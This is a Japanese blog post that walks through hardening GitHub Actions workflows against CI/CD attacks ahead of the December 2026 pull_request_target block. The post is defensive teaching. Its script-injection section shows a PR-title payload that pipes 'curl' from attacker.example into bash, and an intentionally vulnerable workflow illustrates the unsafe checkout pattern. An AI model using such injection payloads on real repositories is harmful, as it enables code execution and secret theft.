不動産会社のサイトを作る仕事をしていると、ときどき、物件の内見に同行させてもらうことがあります。写真の撮り方や、サイトに載せる情報を決めるためです。
ベテランの担当さんは、部屋に入ると、日当たりより先に、まず扉を見ます。玄関の鍵、勝手口、ベランダの窓、郵便受け、宅配ボックス。あるとき、オートロック付きのきれいなマンションで、その人がこう言いました。
「オートロックがあっても、勝手口の鍵が開いていたら、意味がないんですよ」
GitHub Actions にも、いま、オートロックが付こうとしています。
2026年12月2日から、公開リポジトリで pull_request_target が既定でブロックされます。 今年いくつも起きた CI/CD への攻撃を受けて、GitHub が入れる新しい鍵です。
ただ、担当さんの言葉どおり、玄関に鍵が付いても、ほかの扉が開いていたら泥棒は入ってきます。この記事では、GitHub Actions のワークフローを1軒の物件に見立てて、内見のように、扉を1つずつ見て回ります。
物件概要:この1年で、何が起きたか
まず、今回の内見の背景を、時系列で整理します。
| 日付(2026年) | 出来事 |
|---|---|
| 2月28日 | Trivy のリポジトリで、設定ミスのある pull_request_target ワークフローが悪用され、組織全体で使えるトークンが盗まれる |
| 3月19日 | 盗まれたトークンを使って、trivy-action の76個のバージョンタグのうち75個が、悪意のあるコミットに付け替えられる |
| 6月18日 |
actions/checkout v7.0.0。pull_request_target と workflow_run で、フォークの PR のコードをチェックアウトしないのが既定に |
| 7月20日 | 同じ保護が v2.8.0 / v3.7.0 / v4.4.0 / v5.1.0 / v6.1.0 にもバックポートされる(v1 は対象外) |
| 9月17日 | 「Workflow execution protections」が一般提供に。公開リポジトリに pull_request_target を止める既定のルールが入り、まずは評価モードで動き始める |
| 10月21日 | 既定ルールを強制する日付が更新される |
| 12月2日 | 既定ルールの強制が始まる(公開リポジトリのみ。プライベートと内部リポジトリは対象外) |
Trivy の件は、セキュリティスキャナーという、守る側の道具が乗っ取られたことで話題になりました。Snyk のまとめによると、改ざんされたアクションは、正規のスキャンを実行する前にシークレットを盗み出していたそうです。パイプラインは、いつもどおり緑色のまま終わっていました。
12月2日の日付は、ネットの記事によって「11月2日」と書かれていることがあります。GitHub の changelog では、10月21日に更新されて、12月2日になっています。日付は、一次情報で確かめておくのが安心です。
内見の道具:チェックシートを Python で書いた
本格的な監査には、zizmor のような専用のツールがあります。プロの鑑定士です。仕事で使うなら、そちらをおすすめします。
ただ、今回は「どの扉が、なぜ危ないのか」を自分の目で確かめたかったので、内見用の簡単なチェックシートを Python で書きました。.github/workflows/ の YAML を読んで、部屋ごとに所見を出します。全体は150行ほどあるので、ここでは要所だけを載せます。まずは、ハマったところから。
def triggers(doc):
# PyYAML(YAML 1.1)は `on` を真偽値の True として読んでしまう
on = doc.get("on", doc.get(True, {}))
if isinstance(on, str):
return {on}
return set(on or {})
PyYAML でワークフローを読むと、on: のキーが文字列の "on" ではなく、真偽値の True になります。YAML 1.1 では on / off / yes / no が真偽値として扱われるからです。最初、トリガーが1つも取れなくて、10分くらい首をかしげていました。ワークフローを自作のスクリプトで解析する人は、ここでほぼ確実につまずきます。
もう1つの要所は、actions/checkout の版の判定と、run: に埋め込むと危ない値の見つけ方です。
# 2026-07-20 に、フォークのチェックアウト防止がバックポートされた版(v1 は対象外)
PATCHED_CHECKOUT = {2: (2, 8, 0), 3: (3, 7, 0), 4: (4, 4, 0), 5: (5, 1, 0), 6: (6, 1, 0)}
# run: に直接埋め込むと危ない、外部の人が書ける値
TAINTED = re.compile(
r"\$\{\{\s*github\.(head_ref|event\.(pull_request|issue|comment|review|"
r"review_comment|discussion|head_commit|commits|pages|workflow_run)"
r"[\w.\[\]*]*\.(title|body|head\.ref|head\.label|message|name|email|ref|head_branch))")
@v4 のようなメジャーバージョンだけのタグは、新しい版を指すので、判定の対象外にしています。正規表現のほうは、取りこぼしも誤検知もそれなりにある、あくまで「内見の目安」です。
内見するのは、次の3つのワークフローがある架空のリポジトリです。どれも、実際の現場でよく見かける書き方を寄せ集めたものです。
-
pr-preview.yml:PR ごとにプレビュー環境を作る -
comment-deploy.yml:PR に/deployとコメントするとデプロイする -
release.yml:タグを打つとリリースする
チェックシートの結果がこちらです。
■ comment-deploy.yml
[注意] 勝手口 issue_comment: 誰が鳴らしたチャイムかを確かめているか
[注意] 合鍵 ワークフロー全体の permissions が未指定
[危険] 管理人室 deploy: self-hosted ランナー。使い捨てでなければ前の住人の荷物が残る
■ pr-preview.yml
[注意] 玄関 pull_request_target を使用(公開リポジトリは 2026-12-02 から既定でブロック)
[注意] 合鍵 ワークフロー全体の permissions が未指定
[危険] 鍵の交換履歴 actions/checkout@v4.3.0 は保護が入る前の版
[危険] 玄関 preview: 信頼できないトリガーで PR 側のコードをチェックアウト
[危険] 郵便受け preview: run に ${{ github.event.pull_request.title… を直接埋め込み
■ release.yml
[危険] 合鍵 permissions: write-all(全部屋の合鍵)
[注意] 鍵の交換履歴 some-org/changed-files-action@v45 はタグ指定。タグは付け替えられる
3 ファイル / 危険 5 件・注意 5 件
なかなかの物件です。順番に見ていきます。
1. 玄関:pull_request_target
問題の pr-preview.yml は、こうなっています。
on:
pull_request_target:
types: [opened, synchronize]
jobs:
preview:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4.3.0
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run build
- run: echo "Preview for ${{ github.event.pull_request.title }}"
- run: ./scripts/deploy-preview.sh
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
pull_request と pull_request_target は、名前が似ていますが、中身はまったく違います。
-
pull_request:フォークからの PR では、シークレットが渡されず、トークンも読み取り専用になる。外の人のコードを動かしても、盗めるものがない -
pull_request_target:PR の向き先(自分のリポジトリ)の権限で動く。シークレットも、書き込みのできるトークンも使える
pull_request_target は、本来「PR にラベルを付ける」「コメントを書く」のように、PR のコードを動かさずに済む作業のための扉です。ところが上の例では、わざわざ PR 側のコードをチェックアウトして、npm ci を実行しています。
npm ci は、package.json に書かれたスクリプトを実行します。つまり、誰でも、フォークから PR を1本送るだけで、シークレットの入った部屋で、好きなコードを実行できる。Trivy で最初に破られたのも、この扉でした。
GitHub のオートロック
9月17日に一般提供になった Workflow execution protections は、ワークフローを「誰が(actor rules)」「どのイベントで(event rules)」起動できるかを決める仕組みです。ワークフローのファイルごとに、別のルールを当てることもできます。
公開リポジトリで、イベントのポリシーを何も設定していない場合は、pull_request_target を無効にする既定のルールが付きます。今は評価モード(ブロックはせず、ブロックされる予定の実行を記録するだけ)で動いていて、12月2日から実際にブロックされます。
選べる道は、2つです。
- 既定のルールのまま、
pull_request_targetを止める - 本当に必要なワークフローだけ、イベントのポリシーで明示的に許可する(ファイル単位で絞れる)
自分の管理しているリポジトリでは、評価モードの記録を1週間見て、ブロックされる予定のワークフローが1つあることがわかりました。PR にラベルを付けるだけのものだったので、コードを動かしていないことを確かめてから、そのファイルだけを許可しました。
いちばんいいのは、そもそも pull_request_target を使わない形に引っ越すことです。これは「内見のあと」の章で書きます。
古い鍵のままになっていないか
もう1つ、actions/checkout の版にも注目です。6月18日の v7.0.0 から、pull_request_target と workflow_run では、フォークの PR のコードをチェックアウトしようとすると、既定で止まるようになりました。7月20日には、同じ保護が v2〜v6 の新しい版にもバックポートされています。
-
@v4のようにメジャーバージョンのタグで書いていれば、タグが新しい版を指すので、自動で保護が入ります -
@v4.3.0のように古い版を固定していると、保護は入りません - 7月20日より前のコミット SHA で固定している場合も、同じく保護なしです
- v1 は、バックポートの対象外です
それから、allow-unsafe-pr-checkout: true という入力を見かけたら、要注意です。この保護を、自分の手で外すためのスイッチです。
2. 鍵の交換履歴:タグは付け替えられる
release.yml には、サードパーティのアクションがタグで書かれていました。
- uses: some-org/changed-files-action@v45
Git のタグは、あとから別のコミットに付け替えられます。Trivy の件でも、2025年3月の tj-actions/changed-files の件でも、攻撃者がやったことは、既存のタグを悪意のあるコミットに付け替えることでした。利用者は、ワークフローを1文字も変えていないのに、ある日から違うコードを実行していたわけです。
対策は、40文字のコミット SHA で固定することです。SHA は、中身が1バイトでも変われば変わるので、付け替えができません。
- uses: some-org/changed-files-action@0123456789abcdef0123456789abcdef01234567 # v45.0.1
(例の SHA はダミーです)
ただし、ここには小さな矛盾があります。SHA で固定すると、セキュリティの修正も入ってこなくなります。さっきの actions/checkout の保護がまさにそうで、7月20日より前の SHA で固定していた人には、新しい鍵が届きませんでした。
なので、SHA で固定するなら、Dependabot や Renovate で固定した SHA を定期的に更新するところまでが、1セットです。鍵を頑丈にするのと、鍵を交換し続けるのは、両方やらないと意味がありません。
3. 郵便受け:サムターン回し
空き巣の手口に、「サムターン回し」というのがあります。ドアの郵便受けや隙間から道具を差し込んで、内側のつまみ(サムターン)を回して鍵を開ける手口です。鍵を壊さずに、内側から開けてしまう。
GitHub Actions のスクリプトインジェクションは、これによく似ています。
- run: echo "Preview for ${{ github.event.pull_request.title }}"
${{ }} の中身は、シェルが実行される前に、文字列としてそのまま埋め込まれます。PR のタイトルを次のようにされると、どうなるでしょうか。
hello"; curl -s https://attacker.example/x.sh | bash; echo "
埋め込まれた結果、run: の中身はこうなります。
echo "Preview for hello"; curl -s https://attacker.example/x.sh | bash; echo ""
PR のタイトル、本文、ブランチ名、コミットメッセージ、コメント。外の人が自由に書ける値を run: に直接埋め込むと、郵便受けから手を入れられます。この攻撃は、チェックアウトを1回もしていなくても成立します。actions/checkout の保護も、12月2日のオートロックも、ここは守ってくれません。
直し方は、環境変数を通すことです。
- name: Show preview title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Preview for ${PR_TITLE}"
環境変数の値は、シェルの中では「ただの文字列」として扱われるので、コードとして実行されません。郵便受けに、内側からカバーを付けるイメージです。
4. 勝手口:issue_comment と repository_dispatch
comment-deploy.yml は、PR に /deploy とコメントするとデプロイが走る、便利なワークフローです。
on:
issue_comment:
types: [created]
jobs:
deploy:
if: contains(github.event.comment.body, '/deploy')
runs-on: [self-hosted, linux]
steps:
- uses: actions/checkout@v4
- run: ./deploy.sh
issue_comment も、repository_dispatch も、シークレットのある部屋で動きます。そして、今回の actions/checkout の保護も、12月2日の既定ルールも、この2つの扉は対象外です。
この例で問題なのは、「/deploy と書かれているか」しか見ていないことです。公開リポジトリなら、誰でもコメントは書けます。チャイムが鳴ったら、誰が押したかを確かめずに、ドアを開けている状態です。
確かめ方には、いくつか注意点があります。
- コメントした人の実際のリポジトリ権限を API で確かめる。イベントに入っている
author_associationは、権限そのものではないので、それだけで判断しない - 承認したあとに PR が更新されていないか、承認した時点の head の SHAを記録しておいて、その SHA だけをデプロイする
- そもそも、デプロイのジョブは
environmentの必須レビュアーで止めて、人がボタンを押さないと進まないようにする
最後の1つが、いちばん確実です。勝手口に、インターホンを付けるようなものです。
5. 宅配ボックス:workflow_run の成果物
この章の扉は、今回の物件では見つかりませんでした。でも、次の「内見のあと」で自分から設置するので、先に説明しておきます。
workflow_run は、別のワークフローが終わったあとに、シークレットのある部屋で動く扉です。安全でない pull_request 側でビルドして、その成果物(アーティファクト)を workflow_run 側で受け取る、という使い方をよくします。
成果物は、宅配ボックスの荷物です。誰が詰めたかわからない。フォークの PR から動いたワークフローが作った成果物なら、中身は攻撃者が自由に作れます。
なので、ルールは1つです。受け取った荷物は、開けて中を見てもいいけれど、実行してはいけない。成果物の中のスクリプトを動かさない。成果物から読んだ値(PR の番号など)は、数字だけかどうかを確かめてから使う。
6. 合鍵:permissions と、長生きするアクセスキー
release.yml には permissions: write-all が書かれていました。全部の部屋の合鍵を、1本にまとめて渡している状態です。pr-preview.yml と comment-deploy.yml は、permissions が書かれていません。この場合は、リポジトリや組織の設定の既定値が使われるので、設定によっては書き込みの権限が付いてきます。
合鍵の原則は、必要な部屋の鍵だけを、必要な人にだけです。
permissions:
contents: read
ワークフローの先頭で、まず読み取りだけに絞ります。書き込みが必要なジョブだけ、ジョブ単位で足していきます。
もう1つの合鍵は、pr-preview.yml の AWS_ACCESS_KEY_ID です。AWS のアクセスキーをシークレットに入れておくと、そのキーは、誰かが消すまで何年でも有効です。盗まれたら、盗まれたことに気づくまで使われ放題になります。Trivy の件でも、盗まれたトークンが、一度ローテーションしたあとも生き残っていたことが、2回目の被害につながったと報告されています。
GitHub Actions から AWS を触るなら、OIDC を使うのがおすすめです。ワークフローが実行されるたびに、GitHub が短い寿命の身分証を発行して、AWS 側はそれを見て、一時的な認証情報を渡します。長生きするキーを、どこにも保存しなくて済みます。AWS 側の IAM ロールの信頼ポリシーで、どのリポジトリの、どのブランチや environment から来た身分証なら受け付けるかを、細かく絞れるのも利点です。
7. 管理人室:使い捨てでないセルフホストランナー
comment-deploy.yml は、self-hosted のランナーで動いていました。社内のサーバーに GitHub Actions のランナーを入れて、使い回しているパターンです。
使い捨てでないランナーは、ジョブが終わっても、ファイルが残ります。前のジョブが置いていったものを、次のジョブがそのまま使えてしまう。悪意のあるジョブが、次に来る信頼できるジョブのために「罠」を仕掛けておくこともできます。管理人室に、前の住人の荷物が置きっぱなしになっているようなものです。
Snyk のまとめによると、Trivy の件で使われたマルウェアは、セルフホストランナーの上では、SSH の鍵やクラウドの認証情報など、50以上の場所を探し回っていたそうです。サーバーに長く住んでいるランナーほど、盗めるものが多い。
外の人が起動できるワークフローは、GitHub がホストするランナーか、ジョブごとに使い捨てるランナーで動かします。セルフホストを使うなら、信頼できるワークフローと、そうでないワークフローで、ランナーのグループを分けておきます。
内見のあと:リフォームした間取り
所見をもとに、ワークフローを組み替えました。プレビュー環境の仕組みは、2つのワークフローに分けます。
ビルドする側(pull_request):シークレットなし、読み取りだけ。
name: CI
on:
pull_request:
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- run: npm ci && npm run build
- uses: actions/upload-artifact@v4
with:
name: preview
path: dist/
公開する側(workflow_run):OIDC で AWS に入り、成果物は「静的なファイルとしてアップロードするだけ」で、実行しない。environment で、必要ならレビュアーの承認を挟みます。
name: Preview deploy
on:
workflow_run:
workflows: [CI]
types: [completed]
permissions:
contents: read
id-token: write
jobs:
deploy:
if: github.event.workflow_run.conclusion == 'success'
runs-on: ubuntu-latest
environment: preview
steps:
- uses: actions/download-artifact@v4
with:
name: preview
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ github.token }}
- uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
with:
role-to-assume: arn:aws:iam::123456789012:role/preview-deployer
aws-region: ap-northeast-1
- name: Upload static files only
run: aws s3 sync dist/ "s3://example-preview-bucket/" --delete
/deploy のコメントでのデプロイはやめて、environment の必須レビュアーで承認する形にしました。リリースは、権限を contents: write だけに絞って、サードパーティのアクションを SHA で固定しています。
もう一度、チェックシートにかけた結果です。
■ ci.yml
所見なし
■ preview-deploy.yml
[注意] 宅配ボックス deploy: 別のワークフローの成果物を受け取っている。中身は実行しない
■ release.yml
所見なし
3 ファイル / 危険 0 件・注意 1 件
残った1件の「注意」は、わざと残しています。宅配ボックスは、設置したからには、荷物を受け取ることになります。この注意は「中身を実行していないか、ワークフローを変えるたびに確かめること」という、住んでいる人への申し送りです。
もちろん、このチェックシートで所見がなくなっても、安全が保証されるわけではありません。自分で書いた簡単なチェックが見落とす扉は、まだいくらでもあります。本番のリポジトリには、zizmor のような専用のツールと、人の目のレビューを組み合わせてください。
12月2日までのチェックリスト
- Actions の設定で、評価モードの記録を確認する。ブロックされる予定のワークフローはないか
-
pull_request_targetを使っているワークフローは、PR のコードを実行していないか。できればpull_requestとworkflow_runに分ける -
actions/checkoutは、保護の入った版(v2.8.0 / v3.7.0 / v4.4.0 / v5.1.0 / v6.1.0 / v7.0.0 以降)か。SHA 固定なら、7月20日より後のものか -
allow-unsafe-pr-checkout: trueが書かれていないか -
run:に、PR やコメントの値を${{ }}で直接埋め込んでいないか -
issue_commentとrepository_dispatchで、起動した人の権限を確かめているか -
permissionsを、ワークフローの先頭で絞っているか - クラウドの長生きするアクセスキーを、OIDC に置き換えられないか
- サードパーティのアクションを SHA で固定して、その SHA を自動で更新しているか
- 外の人が起動できるワークフローが、使い捨てでないセルフホストランナーで動いていないか
総評
UNIX を作ったケン・トンプソンは、1983年にチューリング賞を受けたときの講演「Reflections on Trusting Trust」(翌1984年に論文として発表)で、こう語っています。
You can't trust code that you did not totally create yourself.
(自分で完全に作ったのではないコードは、信頼できない)
40年たった今、自分で完全に作ったコードだけで動いている CI は、たぶん世界に1つもありません。actions/checkout も、npm のパッケージも、ランナーのイメージも、誰かが作ったものです。それを全部疑うことはできません。でも、どの扉から、誰のコードが、どの鍵を持って入ってくるのかを知っておくことはできます。
内見の帰りに、担当さんに「いい物件って、何で決まるんですか」と聞いたことがあります。
「鍵の数じゃないんですよ。誰がどの鍵を持っているかが、全部はっきりしている物件が、いい物件です」
12月2日に、GitHub は玄関にオートロックを付けてくれます。ありがたい話です。でも、勝手口と郵便受けと合鍵の管理は、そこに住んでいる人の仕事です。「泥棒を捕らえて縄を綯う」にならないうちに、一度、自分のリポジトリを内見してみてください。
「うちの物件も見てほしい」という方は、コメントでどうぞ。CI/CD と AWS まわりの戸締まりなら、喜んで一緒に見て回ります。
